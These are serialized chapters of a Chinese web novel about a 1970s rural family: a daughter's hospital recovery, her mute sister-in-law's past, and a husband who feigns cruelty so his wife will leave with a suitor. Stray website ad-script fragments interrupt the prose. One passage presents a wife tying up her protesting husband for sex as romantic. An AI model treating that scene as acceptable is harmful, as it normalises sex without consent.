“算了,他不想走就留下吧。”蔡淑芬想着要是有什么突发情况需要再输血,他人在这是个保障,又说,“那安荣也跟着回去,不能耽误明天的上工。” 毕竟有做才有得吃。 “行。” 其他人走后,蔡淑芬使唤刘白道:“你去打盆水来。” 刘白点点头,拿着盆走了。 病房里一片寂静,蔡淑芬时不时用手探着徐知画的鼻息,确定还有呼吸起伏才放下心来。 等刘白打水回来,蔡淑芬将人赶出门外,从暖水壶里倒点开水兑成温水,小心翼翼简单地为徐知画擦拭着手脚。 后见刘白倚坐靠着墙壁闭目养神,走廊上的穿堂风凉飕飕的,冷得直打哆嗦,怕将人冻出病来,蔡淑芬伸脚踢了踢:“醒醒,回屋睡。” 刘白倏地睁开眼,站起身乖乖地跟着。 蔡淑芬将墙角里的几张长板凳拼接一起当床,说:“我守上半夜,你守下半夜,现在你先睡吧。” 说着将一件补丁大衣扔给他保暖。 刘白摇摇头,坐在病床旁,死盯着徐知画,一副不困的样子。 “你不睡觉,精神不好,到时抽不出血,耽搁了龟妹治病,看我不打死你!快睡觉!”蔡淑芬横眉怒目,刻意放低的声音带着股震慑之意。 刘白的心颤了颤,到底没敢不听她的话。 只是躺下来,思绪却异常活跃,今天发生的一幕幕在脑海中回放着,早知道,早知道…… 可惜世上没有后悔药,也没有早知道。 越想头越疼,或许是抽了血,他感觉全身乏力,意识渐渐变得迟钝,眼前的景象变得模糊起来,眼皮慢慢覆盖住眼珠,睡过去了。 刘白睡得并不安稳,一会儿梦见徐知画坠下悬崖,他拉都拉不住;场景猛然 一变,两人和蟒蛇相斗,却被吞噬进腹中;接着又是他对着徐知画一地带血的残骸痛苦哀嚎;再一看,徐知画孤零零地躺在病床上停止了呼吸…… 吓得他猛地睁开眼,睡意全无,转头望过去,蔡淑芬支着下巴小鸡啄米般打着瞌睡。 刘白走过去,轻轻拍了拍她的肩膀,蔡淑芬抖了一个激灵醒过来,再看徐知画好好的,心里的石头落地。 刘白:“你去睡觉。” “那你可要注意点,一有什么动静及时叫我。”蔡淑芬打着哈欠说。 “知道。” 一阵窸窸窣窣的声音后,病房再次安静下来。 刘白用指尖触了触徐知画的脸,温热的,还活着,紧绷的神经松懈下来。 一想到现在她的身体里面,流动着他的血液,隐约还能闻到属于自己的气息,刘白的呼吸不禁乱了起来,每个细胞叫嚣着兴奋。 之前徐知画颐指气使惹他很生气的时候,刘白总想着要她死,但如今她是如此不堪一击,脆弱得一根手指头就能戳死一样,他却又舍不得她死了。 刘白弄不懂这反反复复的情绪是因为什么。 她睡着的时候,看着很乖巧,精致的眉眼像是一幅画,刘白忍不住用手比了比,她的脸还没他的巴掌大呢。 好想捏。 可又怕捏疼她。 刘白控制住蠢蠢欲动的手,感到有点无聊,干脆默念起九九乘法表静心。 * 徐知画一睁眼就看到了刘白。 他憔悴得像被妖怪吸走了精神气,脸色晦暗,眼睛布满红血丝,眼圈泛黑,唇色发白,疲惫感十足。 见她醒过来,不过刹那间,刘白的眼睛焕发光彩,喜色飞上他的眉梢,声音提高了八度,惊喜道:“你醒了!太好了!” “龟妹,你感觉怎么样?有没有哪里疼?饿不饿?有什么想吃的吗?”蔡淑芬闪现过来,一屁股撞开刘白,噼里啪啦一连四问。 “感觉哪里都疼,好饿,想吃烤鸡。”徐知画虚弱说。 “哎哟,我可怜的龟妹。”蔡淑芬眼泪哗哗掉,又哭又笑,“你刚醒来,医生说不能吃辛辣油腻的东西,妈买了一罐麦乳精,先给你冲一杯喝,等你全好了,想吃烤鸡烤鸭都没问题。” 徐知画看着蔡淑芬白发又长了不少,眼底有些酸涩:“嗯,谢谢妈,我让你担心了。” “嘿,母女之间,说什么谢不谢的。”蔡淑芬觉得怪煽情不自在的,不好意思地去泡麦乳精了。 肚子有了存货,徐知画恢复了点精神气,鼻翼嗅了嗅,一股酸臭味挥之不去。 是自己身上散发出来的。 想刷牙,想洗头,想洗澡。 当徐知画提出要求时,立马遭到了蔡淑芬的否决。 “你好不容易才醒过来,着凉就不好了。”蔡淑芬说,“平日我也有替你洗脸擦身,但头现在是万万不能洗的,伤口还没好呢。” 就是头上的臭味最浓重,头皮好痒,像有什么在生根发芽,她最想洗的是头。 “那什么时候才能洗头?”徐知画闷闷地问道。 “起码还要七八天,要等医生拆线先。”蔡淑芬说。 一听,徐知画能想象到那时,她的头发能榨出一瓶油来。 为了生命着想,不留下什么后遗症,她必须忍耐。 因为身上还有多处骨折,徐知画每天只能躺在病床上,无聊又无趣,郁闷且痛苦。 好在后来她找到了新的乐趣—— 考刘白所学过的知识。 看着刘白勤奋上进,她就快乐了。 只是每当他不专心或回答错误的时候,手痒痒却没有力气动手略施小惩的感觉很不好受。 “今天我要回家。”刘白突然说。 “啊?好。”徐知画自醒过来,前三天蔡淑芬等家人们会换班过来陪诊,但刘白是一直在的。 他在这也很无聊,能陪这么久,很仁至义尽了。 下午的时候,祝安来到卫生院,陪同的还有一个男人,说是叫付山海,今天他开车送货来县里,顺便送她过来。 关于付山海,徐知画也听蔡淑芬说了几嘴,知道他是自己的救命恩人,很是感激。 “不客气,举手之劳。”付山海板板正正地说。 听到他的声音,徐知画愣了愣,他是看电影那晚向祝安告白的男人? 再看他看祝安的眼神,确定了,就是他。 真是一步步,明目张胆地接近啊。 “我还有事,就不打扰你休息了。”付山海冲徐知画点点头,又看了一眼祝安,最后对刘白说,“你是要回去吗?我搭你。” 刘白跟付山海走后,徐知画看向祝安,问道:“你脚怎么样了?” 祝安走了几步给她看:【没事了,好了。】 徐知画:“那就好,家里的活要忙,我一个人在卫生院也可以的,有事我会叫护士帮忙。” 祝安拿起本子写:【留你一个人在这,我们全家人都不会放心的。】 徐知画想到他们的关爱之情,没再说那些要自立自强的话,八卦之火燃起,话头一转:“可以问你一个私人的问题吗?” 祝安微微颔首。 徐知画揶揄地笑了笑:“付山海同志是不是喜欢你?” 祝安一下子慌张起来,不知道该说什么好。 徐知画咳了咳:“那晚,我看到他向你表白了。” 祝安着急地摇头摆手着:【我没有答应他。】 “其实我觉得你可以考虑一下,虽然我很喜欢你当我的嫂子,但是我感觉我哥对你不好,你有重新追求幸福的权力。”徐知画开导道。 祝安羞涩地写下:【你哥对我很好, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能嫁给他,是我的幸福。】 徐知画:…… 恕我眼拙,没看出他哪里对你好。 “你开心就好。”徐知画讪讪笑道。 恋爱脑虽不敢苟同,但吾之砒霜,汝之蜜糖,感情这事外人总是不好掺和的。 或许是感受到徐知画的善意,祝安忍不住将那些少女心事分享出来—— 小的时候,父慈母爱,祝安也曾生活在一个幸福美满的家庭里,在村里的女孩被磋磨当牛使干活的时候,祝安作为独生女,却享尽宠爱,还读完了初中。 她和徐康荣是初中同学,为什么会喜欢他呢?因为他帅气、聪明、谦逊、能干…… 他的优点很多很多,那时班上的老师同学对他是赞不绝口,祝安的喜欢,藏在其中,微不足道,肤浅却又庄重。 祝安曾无意中见过别的女生向徐康荣示好表明心意,但他拒绝得很干脆、很无情,怕落个同样的回答,本来想宣之于口的爱慕也缄之于心。 她学着他的样子,好好学习,天天向上,每次看到两人的成绩名字挨在一起时,总会生出一股隐秘的欢喜。 那时她的烦恼只有一个的—— 他喜不喜欢我? 然而,突有一日,妈妈发现爸爸在外面有了人,并且孩子有七岁大,一直以为的幸福是假的,一夕之间,信念崩塌,幸福不再。 在一个夜晚,妈妈点燃了屋子,想要一家三口重入轮回,重新开始。 祝安被烟呛醒,看到妈妈站在火中央,表情绝望,笑得很癫狂,爸爸边扑打着火变咒骂着。 这一幕太可怕了! 祝安眼睁睁地看着火舌卷起,那灼炽的火光一点一点将妈妈吞没,她想叫,嗓子却像被烧掉了一般,一声都叫不出。 妈妈变成了一个火人,眼见火势过大,房屋快要坍塌烧成灰烬,爸爸抱起她往外走。 祝安眼泪大颗大颗往外冒,想喊妈妈,想救她,可伸长的手臂离她越来越远。 最后,她没有妈妈了。 很快,她的新妈妈来了。 房屋重建,只是里面幸福的不再是她。 因为创伤后应激障碍,祝安成了一个哑女,家里无法再支撑起“高昂”的学费,她只能辍学帮忙干活。 后来听说初中毕业后,徐康荣去参军了,他永远不会知道,在那不为人知的角落里,有一个女孩真诚祝愿着他平安喜乐,前途无量。 时间匆匆流逝着,她又长大了一些,一次去镇上买东西时,祝安看到徐康荣和一个漂亮的女生站在一起,两人之间透着那种外人融不进去的默契,郎才女貌,般配登对。 他们说笑着擦肩而过时,祝安的心脏好像骤停了一瞬,不过很快又恢复了。 艳羡虽有,但更多的是祝福。 生活还在继续。 再后来,听说徐康荣伤了腿,被退婚了,每日在家浑浑噩噩,祝安不愿他就此颓废下去,曾偷偷写过一封鼓励的信寄给他。 再之后,又听说徐康荣成了一名赤脚医生,她为他的重新振作而高兴,又偷偷找来几本医书寄过去。 就像一条相交线,祝安从没想过会和他再有交集,她想着就这样远远地看着他,就很好。 直到某天,继母突然对祝安说,收了他家的聘礼,下个月她就要出嫁。 祝安被巨大的惊喜砸中,幸运再次眷顾她,让人如坠梦里。 备嫁的日子短暂又漫长,好几次祝安梦到所嫁之人并非他,不过是空欢喜一场,醒来时总是空落落的难受。 就这样怀着惴惴不安的心情,终于到了结婚那天,因为徐康荣腿脚不便,并没有来接亲。 祝安在吹吹打打的喇叭声中,以为再次奔向幸福般,奔向了他。 只是在看到他冷峻的眉眼时,祝安雀跃的心一下子坠得低低的。 和她成亲,非他所愿。 预料之中的事,还是感到很难过。 她得偿所愿了,他却难偿所愿。 36. 病秧子X狼少年 出院那天,还是付山海开车来接徐知画回家。 徐知画痛痛快快地洗了个澡,才感觉活过来。 来到院子,看到徐康荣和付山海相谈甚欢的样子,徐知画一会儿望望这个,一会儿看看那个,有点看不明白了。 他们的关系什么时候变得这么好了? 祝安是很坚决地拒绝付山海了,但人家不死心,而徐康荣还三番两次热情地邀请他来家里做客。 这和自找绿帽带有什么区别? 好几次,对上徐康荣纯真无知的眼睛,徐知画很想提醒他,你为对家撬墙角的进度添砖加瓦了二愣子。 更让人脚趾扣地的是,经过这段时间的相处,蔡淑芬对付山海的印象很好,竟默默将他当女婿来考察。 还说:“你住院这段时间,付同志出钱出力,帮了很多忙,我看他对你有点意思。” 真是好大的乌龙! 他有意思的另有其人! 可她偏偏不能说! 徐知画头皮发麻,赶紧打消她这个念头:“你误会了,他对我没意思,我对他也没意思,他不是说找哥治牙吗,有所求,刚好又热心肠,就顺手帮一下。” 徐知画蹙着眉,嘴角微微下垂,表情故作悲伤道:“你是不是觉得我是个累赘,所以才想着要把我嫁出去?” “没有的事!你不是累赘,你是我们的心头宝!”蔡淑芬一听,当场急了,说着自己为人处世的经验,“在这世道,男大当婚,女大当嫁,与其等着别人挑你,不如主动去挑别人,看到好的,要赶紧扒拉到自己的碗里。” 徐知画直截了当:“我不想结婚。” “好好好,你现在还小,不知事,没事,妈给你把关。”蔡淑芬没将她的话当真。 他们的观念根深蒂固,徐知画知道一时半会也改变不了,唯有自我强大起来,才有资格说想过什么样的人生。 “对了,刘白呢?他最近在干什么?”徐知画问道。 蔡淑芬往门外看了看,见没人注意,才低声说道:“他这几天都去万兽山捕猎物,打了一只老虎,抓了一头野猪,还有一些鸡兔,又找几株人参,你三哥拿去黑市买了好多钱,才总算筹齐你的医药费。” 蔡淑芬笑了笑:“那小子一身力气,是个有用的,不知道今天会带什么回来,今晚就给你炖个鸡汤补补。” “那他没受伤吧?”徐知画有些担忧,“平时他有没有学习?” “就受了一些小伤,没事。他牛犊子似的,结实的很,伤好得也快。”蔡淑芬后一句答得有些心虚,“学没学习我倒没留意,应该是有学的吧。” 赶在吃晚饭之前,刘白终于回来了。 他好像又有了点变化,眼神更加坚毅,和以往刘白的气质多了几分重合,手臂上还有几处抓伤。 徐家荣说:“这是英雄的勋章。” “过来。”徐知画看着刘白。 刘白乖乖跟过去。 “坐下。” 之前徐康荣介绍可以消毒止血的草药,徐知画捣碎给他敷上。 “谢谢你啊。”徐知画不自然地说,“欠你的钱,我会还给你的。” “不客气。”刘白记得说谢谢之后,就要说不客气。 * 今晚在蔡淑芬和徐康荣的盛情邀请下,付山海留下来一起吃饭。 听着蔡淑芬查户口似的提问,徐知画在桌底悄悄踢了踢提,她才稍稍收敛了些。 尴尬! “祝安,去给付同志盛一碗汤。”徐康荣见他的碗底空了,使唤道。 “我自己去就行。”付山海连连摆手。 “就当自己家一样,想吃什么自己夹,千万不要客气。”蔡淑芬豪爽道。 “好。” …… 其他人的感受徐知画不知道,反正这顿饭她吃得是如坐针毡。 付山海是三天两头来到徐家,零嘴、布料、肉、雪花膏…… 他每次来都不空手,礼数周到,喜得蔡淑芬夸赞连连,明里暗里在徐知画面前上眼药水说他的各种好。 碍于想为嫂子选一个好老公,徐知画也顺势和付山海多接触了一些。 不得不说,付山海谈吐言之有物,见过世面对未来有规划,脾气性格也不错,祝安若嫁给他,日子会过得幸福很多。 这些都是在和徐康荣的比较之下得到结论。 祝安可能再多感受感受,就会知道:如果没有两情相悦,选一个爱你的人,会比选一个你爱的人要好。 徐知画暗戳戳为两人制造着相处的机会,甚至有意无意向付山海透露祝安的喜好,关键能不能赢得芳心,就看听者有没有意了。 “徐知画,这道题怎么做?” 又一次看到两人在说说笑笑着什么,笔尖倏地在本子上划了一条线,刘白觉得很不爽。 “你先空出来,晚点再跟你讲。”徐知画说。 那敷衍的态度让人火大。 “我现在就要你讲。”刘白直勾勾地看着她。 付山海像看懂什么,笑道:“你先去给他讲吧。” 徐知画没好气地走过去:“哪道题?” “这,这,这,这些我都不会。” “全不会?你说真的还是耍我?”徐知画作势要一记爆栗敲下去。 “这道不会。”刘白闷闷不乐地指了指。 “你是不是上课的时候没认真听讲?” “哎哟,轻点。” “轻不了一点。” …… * 时间在一日三餐中流逝。 这天,付山海再次上门,有话要跟徐康荣和祝安说。 徐家人在屋外忙活着,而屋内,徐康荣、祝安、付山海在四方桌各占一面坐下。 门被关上。 一时之间,三人都没有主动开口,空气像凝结了一般,死寂般的安静。 “你带她走吧。” “我是来向你们告别的。” 徐康荣和付山海同时开口,听到对方的话面面相觑。 “我知道你是为她而来,我和祝安结婚不过是父母之命,并没有感情,明天可以去民政局离婚。”徐康荣很平静地说。 听此,祝安一下子红了眼,彷佛有一把尖刀刺在心上。 同在一个屋檐下生活那么久了,他还是不喜欢她吗? “不,她对你有感情,就算她跟我走,也不会开心的。”付山海满是真诚地看着徐康荣,说,“刚开始接近你时,我的确对你抱有恶意的看法,但相处下来,那些对祝安不好的行为,我发现是你想给我看的。” 见徐康荣想辩解,付山海没给他开口的机会,接着说:“你别急着否定,下意识的在乎和关心是骗不了人的,我觉得你们彼此心里都有对方。” “我也是怕她过得不好才想带她走,但在这个家,父慈母爱,兄友弟恭,祝安能生活在这样的家庭,我很放心。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “希望你以后也能好好待她。”付山海说着将一张纸条给徐康荣,“如果将来有什么事需要帮忙,可以联系我这个地址。感谢你们这段时间的招待。” “祝安,这次我真的放下你了,希望你能一直幸福。”付山海再不释怀,也只能释怀了。 徐康荣还想再说什么,可是对上祝安泛红的眼睛,那些伤人的话终究没有说出来。 付山海起身离开,一打开门,在偷听的蔡淑芬和徐安荣、狗岁齐齐摔下来。 “没事吧?”付山海正欲扶起他们。 却见蔡淑芬快速站起身,气愤道:“我还以为你是个好的,没想到打我儿媳妇的主意,滚滚滚,以后不要再来我家,见你一次打一次。” 蔡淑芬推搡着付山海。 直到看不见他的背影,蔡淑芬一回屋就扇了徐康荣一巴掌,怒气冲天地戳着他的脑袋骂:“你这个窝囊废,人家都来偷家了,你还大大方方将老婆推出去,你当祝安是什么了?!有你这么当人老公的吗?!真是气死我了!你好好反省自己!” “祝安,妈宝贝你,就算有天你想和这臭男人离婚,我也想认你当干女儿,他不懂得珍惜你,总有人会珍惜你。”蔡淑芬心疼地搂着祝安,为她擦泪,“不哭不哭,你是什么打算也可以说出来,我都会支持你。” 祝安看了一眼徐康荣,收起以往的那些心动,比划着手:【我们离婚吧。】 既然婚姻让他如此痛苦,再死缠烂打下去也没有意义。 徐康荣神情滞了一瞬,随后缓缓地点点头。 “那离完婚你就当我的干女儿,我舍不得你走,你还在这住好不好?”蔡淑芬明白感情的事强求不得,可她是真心喜欢这个儿媳妇,又能干又乖巧,长得也不差,怎么儿子就不喜欢呢。 “二嫂,我不要你走。” 徐安荣和狗岁哭着扑向祝安。 徐知画和刘白从外面回来,看到几人哭嚎着抱在一起,疑惑道:“你们在哭什么?” “龟妹,二哥和二嫂要离婚,你快叫他们不要离婚。”徐安荣哭喊着说。 徐知画:“我支持他们离婚。” 还以为会和自己站在同一阵营的徐安荣一脸不解:“不让他们离婚不行吗?” “可是我觉得二嫂这般好,二哥却不懂得珍惜,我心疼二嫂。”徐知画说。 徐康荣羞愧地看向祝安:“是我负你,对不起。” 祝安别过脸。 其他人回想他们相处的曾经,二哥总是臭着一张脸对二嫂,一不满意就发脾气。 他们不再劝了。 离婚的事就这么说定,没想到在去民政局的路上,祝安不小心摔了一跤,被诊断出怀了身孕。 婚,最后还是没离成。 祝安躺在床上,摸着平坦的肚子,一时思绪万千。 这个孩子也是她强求来的。 心头的苦涩像潮水般将她淹没。 “你要留下这个孩子吗?”徐康荣问。 “你想留下这个孩子吗?”祝安反问。 矛盾的情感交织成一团乱麻,徐康荣最后还是选择遵从内心,郑重地说:“我想留下这个孩子。” 徐康荣握住了祝安的手:“请给我一个改过自新的机会,以后我会好好照顾你们母子的。” 祝安想到天大地大,竟无一处可去,现在也没有能力养活一个孩子。 “好。” 她听见自己说。 37. [锁] [此章节已锁] 穷苦人家连温饱都顾不上的时候,所生的孩子就像野草一般,不用太多养料滋养,自己在地上跑跑摔摔,风一吹就长大了。 而同样的环境,草的长势也会有高矮之分。 徐康荣打小就聪明,在别的孩子漫山遍野掏鸟窝打土窑疯玩时,他就发现大队里会识字的人比较吃香,日子过得会比较滋润。 于是,一颗想识字的种子悄然在心中种下了。 可是家里穷啊,没有那么多钱,那时只能供得起大哥徐敬荣一个人去上学。 徐康荣就厚着脸皮在教室外旁听,并且有空没空在老师面前晃悠,帮忙干活带孩子,后来真的为自己争取到了读书的机会。 兄弟俩如饥似渴地汲取着知识,回家还教家里的其他人。 一次在秋后决分时,徐康荣展示了出色的算数能力,和其他还在玩泥巴连十以内加减法都算不明白的同龄人相比,他这一表现可谓是一鸣惊人。 大家都开玩笑对徐天瑞夫妇说:“不要把状元关在门背后,埋没人才了。” 听着众人的夸赞,夫妻俩咬咬牙,决定支持徐康荣上学。 徐康荣很珍惜读书的机会。 后来有一个医生叫卫建康被下放到光荣大队来劳动改造、接受再教育,听说他治死过人,是个坏分子,人人都害怕和他接近。 但徐康荣不害怕,有一次被蛇咬伤时,是卫建康治好的,而且他读书很厉害,有些问题老师答不上来的,他都能答出来。 徐康荣觉得知识没有好坏之分,总是偷偷去找他,在其他孩子想欺负他时挺身而出,卫建康从开始的不待见到后来倾囊相授,两人成了忘年交。 只可惜,卫建康在一次批斗后,身体一病不起,死后还要背负骂名。 骂他“贪图享乐”“剥削人命”“资产阶级思想固化”“是共产主义的败类”“……” 那些字徐康荣都知道,可是组合起来,他却不知什么意思了。 那些人骂得痛快淋漓,可没谁真的亲眼看过卫建康是如何剥削如何成为败类。 大人们说来说去也说不清楚,卫建康曾说:“有什么不明白的,都可以从书中找到答案。” 或许那时的他太小,读的书又太少,所以哪怕觉得他是被冤枉的,也无从为其辩解,自此徐康荣更加拼命学习了。 只可惜,直到现在,他对于世事的发展还是一知半解,而且他发现,读的书越多,越感到迷茫。 初中毕业后,刚好大队通知征兵,兄弟俩觉得参军比在地里刨食好,而且有工资拿,退伍转业还能分配工作。 带着家人们的祝福,徐敬荣和徐康荣胸带大红花,坐上军用卡车离开了家。 像鸟儿长大离巢展翅天空,那时徐康荣觉得将来自己一定会大有作为。 在部队高强度的训练中,身边的战友时常会有受伤的情况出现,个别的还因为伤后没有得到有效治疗留下后遗症。 由此,徐康荣萌生了当军医的念头。 他是个行动力极强的人,就像当初靠着那份毅力和诚心,感动了老师,他和军医宋苏禾也建立了革命友谊,每天在完成训练任务后,向她苦学医学知识。 在日复一日的相处中,徐康荣爱上了这个人美心善的医生姑娘,并大胆表明爱慕之心,两人的感情有了质的飞跃, 就在他们要谈婚论嫁时,边境冲突频发,徐康荣收到指示,要往前线作战,没想到这一去,他的腿受伤了。 宋苏禾的爸妈不希望她嫁给一个瘸子,而徐康荣也不想成为她的负累,于是主动提了分手,退伍回家。 不过一天之间,他的生活发生了翻天覆地的变化,以往关于未来的美好展望随着瘸腿烟消云散。 他不知该何去何从。 他开始思考活着的意义。 他发现活着没有意义,早死晚死都是死,不如早点死,就不必再承受这痛苦的感觉了。 在决定去死的那天,徐康荣收到了一封信,信上说希望他不要被困难打倒,积极面对生活,还抄写了保尔·柯察金关于“人最宝贵的是生命。生命每个人只有一次。”的名言。① 恰好,又有个因牛发疯被撞得大出血的人被送到面前,徐康荣运用所学过的知识从阎王手中夺回了他的命。 自己还是可以被需要的。 蝼蚁尚且偷生,不过是瘸了一条腿,他还可以用双手创造出属于自己的价值。 对上家人们担忧的眼神,像拨开云雾见天明般,徐康荣重新振作起来,开始学医治病救人。 昨天推着明天,明天又推着后天,日子一天天流逝,眼见同龄人一个个结婚生子,徐天瑞和蔡淑芬也开始操心起他的终身大事来。 徐康荣做好了孤独终老的打算,但在世人的眼中,结婚生子是不可或缺的人生体验。 作为父母,都希望儿孙满堂,他们最擅长自作主张,打着为你好的名义,做出违背你意愿的事。 蔡淑芬约了一个个女孩来家里相看,可在徐康荣不理不睬的态度中,结果当然是没一个成的。 最后干脆略过他的意见,径直让媒人婆去祝安的家里提亲,在结婚当天才通知徐康荣准备当新郎。 这招先斩后奏打了他个措手不及。 徐康荣就算想逃婚都来不及。 听着宾客们祝贺“永结同心,百年好合”,可他连新娘子是谁都不知道呢。 何其讽刺。 劈里啪啦的鞭炮带着小孩们的欢呼震响天际,很快,《百鸟朝凤》的唢呐声盖过了所有声音,新娘子进门了。 是她啊。 徐康荣认出了祝安。 虽然两人是初中同学,但在校时聊天说话的次数屈指可数,并没有什么交流。 当时作为彼此的学习竞争对手,谁都不待见谁。 徐康荣和班上谁都能聊上几句,嬉笑怒骂吵吵闹闹,但是一对上祝安,因不想被看轻,他总不自觉装出成熟稳重模样。 在他的印象中,祝安应该很讨厌他,因为有时明明她和别人玩得很开心,但是当他靠近时,她就不说话了,好像很厌烦的样子。 有时两人不小心对视上,哪怕彼此没说什么,但是绕有默契的,以眼刀的形式杀个你死我活,一眨不眨比拼着谁厉害。 有时她率先移开目光落败,有时他坚持不住眨眼失了威风。 徐康荣很讨厌每次她看自己的眼神,高高在上,怜悯同情。 是,她是被娇宠着长大的公主,那时她每天身上总是干干净净的,有漂亮的衣服鞋子,零嘴想吃什么就吃,零钱想买什么就买。 不像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他,衣服破破烂烂,鞋子还是捡别人的,连读书的费用都要东拼西凑才够。 徐康荣在祝安面前,哪怕再怎么不愿承认,也不得不承认,他是自卑的,羡慕的。 后来她中途辍学,徐康荣还松了一口气,以后他就可以稳坐第一名宝座。 再后来,听说了她家里的变故,徐康荣一阵嘘唏,想帮她却有心无力,也就不了了之。 结婚那天,看到祝安的那一刻,徐康荣是惊讶万分。 她是新娘子! 她怎么会是新娘子呢? 徐康荣直觉她肯定也是不情愿的。 肯定是被她那恶毒继母逼着嫁过来的。 不过好在是她,好在是他。 如果两人对这场婚姻都没有期待,晚点或许可以和她商量分离之策。 她应该嫁给一个身体健全的人,像印象中的那般,被珍爱着过一生。 当时徐康荣是这么想的。 百感交集,徐康荣松了口气,也不再那么抗拒。 两人一起举杯敬四方来宾。 热热闹闹的婚礼过后,安安静静的房间里,四目相对,尴尬又拘谨。 一场眼神之战再次拉开帷幕。 最后是徐康荣忍不住先开了口:“关于我们的婚姻,你有什么看法?” 祝安眨了眨眼,没说话。 “我不喜欢你,你也不喜欢我,这场婚姻是个错误,我们应该修正它,你觉得呢?”徐康荣问。 听到这话,祝安愣了愣,眼眶里有盈光浮动,赶紧抬头往上望,泪珠欲落未落。 “你说句话啊。”看到她哭,徐康荣慌了神。 祝安掏出本子,唰唰在上面写了一行字:【我是个哑巴。】 “啊?”徐康荣表情一滞,想说什么,又不知该说什么。 “对不起,我不知道。”徐康荣讷讷道。 祝安:【没关系。】 徐康荣不好意思地挠了挠头,伸出一只脚,拉起裤脚,问道:“我的情况你知道吗?” 祝安点点头。 “我其实没有结婚的打算,也不想辜负你,我想请你陪我演场戏,到时候骗过我爸妈,等将来你有心仪之人,或者想离开时,我会放你自由。” 祝安没什么表示,但是感觉有一股悲伤萦绕着她,徐康荣当是因为她对这场婚姻的不满。 “你放心,我不会碰你的,而且我们没有领结婚证的话,到时应该也没有离婚之说。”徐康荣见她的脸色越来越难看,硬着头皮说,“或者,你有什么想法,也可以写下来。” 新婚之夜,被喜欢的人告知不喜欢自己,字字是勉强,句句是分离,她能有什么想法呢? 心脏传来闷闷的钝痛感,祝安深呼吸强行压下,也装出一副不在意的样子,扬起嘴角故作轻松,写下:【我没有想法,一切如你所愿。】 徐康荣品尝着这句话,他所想的,应该也是,她所想的,吧? 既然双方达成协议,徐康荣不再多想,从床底拿出一个行军床,说:“你先在这安心住下,以后我就睡在这。” 祝安微微颔首。 夜深人静,一对龙凤花烛在燃烧着,本以为会是向上幸福的烛光,没想到是向下空欢喜的烛泪。 这一次,她也没有好彩。 38. 病秧子X狼少年 在学生时代,徐康荣虽然对祝安有偏见,但不可否认的是,那时的她是大多数男同学心目中白月光般的存在,有些胆大的还想着长大后要娶她当老婆。 如果她家没出事的话,她应该会嫁给一个家境殷实、人品端正、情投意合的男人,举案齐眉、幸福顺遂地过一辈子。 而不是嫁给他这么一个不良于行的窝囊废,不能为她遮风挡雨,只会是拖累。 刚开始徐康荣迫切地想治好她的哑疾,但见声带喉咙都没问题,是她将自己封闭起来了,心理那关过不去。 一时之间,他也束手无策。 一日三餐,四季轮转,与之越相处,越能感受到她的好。 徐康荣后来不是没有注意,她望向他的眼睛里,有着欲说还休的绵绵情意。 情不知所起,心动最是无法克制。 渐渐的,徐康荣的目光也会为祝安的身影所牵引。 不经意的对视、不小心的触碰、唯有彼此懂的暗号…… 每每这时,隐秘的欢喜丝丝缕缕在心头滋生。 可上一秒还笑得一脸荡漾,下一秒触及那条瘸腿,欢喜便荡然无存,这样好的姑娘,他不配拥有。 他凭什么将她拉进自己的糟糕人生里? 在被别人取笑“哑女配瘸男”时,他不能挺身而出狠狠揍回去;在别的女人炫耀新买的衣服鞋子时,他囊中羞涩没有多余的钱让她打扮漂亮;为了维持生计,她每天风里来雨里去干活采药,想让她不要那么卖力,可自己无能为力养起一个家…… 他的未来看不到希望,但她却是有机会跳出这个沼泽—— 是个再寻常不过的一天,徐康荣一个人在家里翻看着医书,一个男人走进来,他说自己叫付山海,讲了很多关于祝安的事,讲若不是想着功成名就衣锦还乡再向心上人提亲,本该娶祝安的应该是他。 以男人的眼光来看,付山海给人的感觉的确不错,是一个不会让自己女人受委屈受欺负的。 他若真的向所说的那般喜爱珍重着祝安,错过一时,不该错过一世的。 徐康荣故作轻佻,态度恶劣,话里话外都是对祝安的嫌弃轻视。 果然,付山海怒了,不能容忍自己当是宝的人,却被他当成了草。 如他所料,付山海起了带祝安离去的念头。 只是,怎么才能让祝安心甘情愿地跟付山海离开呢? 徐康荣开始对祝安冷嘲热讽,大呼小叫,没一个好脸色。 连其他家人都暗暗说他性情变态了,让他收敛收敛,但祝安还是一如既往地看着他眉眼弯弯笑,好似无论如何都会纵容着。 显然,无理取闹的徐康荣也是会被祝安喜欢的。 每每这时,徐康荣很是挫败。 【你走啊,离我远远的,去奔赴美好的生活。】 徐康荣在心里祈愿着。 他知道后来付山海又偷偷来找祝安好多次,可祝安的态度始终如一,并没有抛弃他的念头。 她真傻,明眼人都知道该怎么选才是对自己利益最大化的,留在一个残疾身边,她能得什么好处呢? 他何德何能值得她如此对待呢? 兔子逼急了还咬人,温温柔柔的祝安在徐康荣又一次乱发脾气、说要离婚时,终于大爆发—— 猝不及防把他压在了床上,将手和脚用绳束缚在床头床尾,他动弹不得,脱光光,任由她为所欲为。 徐康荣面红耳热得厉害,无法控制的生理反应在她的注视中,斗志昂扬地探起头。 祝安笑得羞涩,动作却大胆,对他的喝止置之不理,干脆用嘴堵住了他的嘴巴,后来以观音坐莲的姿势完成了水乳交融。 生米煮成熟饭,徐康荣痛并快乐着。 只是事后,徐康荣不知该以何种态度对待她。 再这样下去,只会牵扯更深,更加舍不得。 * 付山海又双叒叕来了,这次他救了龟妹,第一次出现在所有的家人们面前,他心底打的什么注意,徐康荣一清二楚。 但他们的演技都还不错,像第一次见那般,自然地交谈。 在照料龟妹之余,徐康荣更是打起十二分精神,尽情展现怎么大男子主义,怎么对祝安吹毛求疵,毫无体贴。 付山海应该更坚定想要带祝安走的决心了吧。 只是没想到,因为救命之恩有了来往,蔡淑芬竟是想让付山海当女婿。 若他说出这是为妻子找的未来丈夫,家人们会不会觉得他疯了? 徐康荣决定三人开诚布公谈一次。 当他说出“你带她走吧。”这句话时,没想到付山海说的是“我是来向你们告别的。” 为什么要放弃带祝安走? 付山海从哪里看出他是个值得托付的人? 他演技就那么不过关吗?家里人都没发现啊。 可是他拿什么给祝安幸福呢? 这样的苦日子,真的要她搭上下半辈子吗? 付山海最后还是一个人走了。 得知徐康荣的心思,蔡淑芬等其他家人很愤怒,说他配不上祝安的深情,支持离婚。 